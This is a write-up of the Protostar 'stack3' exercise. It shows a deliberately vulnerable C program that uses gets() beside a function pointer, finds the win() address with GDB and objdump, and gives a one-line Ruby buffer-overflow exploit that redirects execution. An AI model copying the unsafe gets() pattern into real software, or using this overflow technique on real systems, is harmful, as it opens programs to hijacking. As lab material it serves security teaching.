$$\ $$\ $$\ $$ | $$ | $$ | $$$$$$$\ $$ | $$$$$$\ $$$$$$\ $$$$$$$$\ $$ | $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ __$$\ $$ |$$ __$$\ $$ __$$\ \____$$ |$$ |$$ __$$\ $$ | $$ | $$ |$$ __$$\ \____$$\ $$ _$$ _$$\ $$ | $$ |$$ |$$ / $$ |$$ / $$ | $$$$ _/ $$ |$$ / $$ |$$ | $$ | $$ |$$ | \__|$$$$$$$ |$$ / $$ / $$ | $$ | $$ |$$ |$$ | $$ |$$ | $$ | $$ _/ $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ __$$ |$$ | $$ | $$ | $$$$$$$ |$$ |\$$$$$$ |\$$$$$$$ |$$\ $$$$$$$$\ $$ |\$$$$$$ |\$$$$$\$$$$ |$$ | $$\\$$$$$$$ |$$ | $$ | $$ | \_______/ \__| \______/ \____$$ |\__|\________|\__| \______/ \_____\____/ \__| \__|\_______|\__| \__| \__| $$\ $$ | \$$$$$$ | \______/
In this exercise, things start to be more fun. Until now the objective of the previous exercises was to overwrite a value of a variable in order to alter the behaviour of the program. Now, the objective is to redirect the execution flow of the program, to a function called win().
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
If we pay attention at the provided code, we have a pointer to a function called fp. If we are able to overwrite its value with the address of the function win(), then we would successfully redirect the execution flow and, therefore, solve the exercise.
In order to obtain the address of the funcion win() we have two options, using GDB or objdump.
GDB:
(gdb) info address win
Symbol "win" is a function at address 0x8048424
objdump:
$ objdump -t ./stack3 | grep win
08048424 g F .text 00000014 win
Now that we already have the address of win() (0x8048424), we need to overwrite the value of fp with it. To do so, we have the classic scenario of buffer overflow, so we need to calculate the padding needed to step on fp. As it is, yet again, the same case as the previous stackX exercises, the padding is 64 bytes. Finally, we stuff the 64 byte follwed by the win() address (watch out the endianess!) and the exercise is solved!
The solution is in the following snippet:
#!/bin/bash
ruby -e ' print "A"*64 + "\x24\x84\x04\x08" ' | ./stack3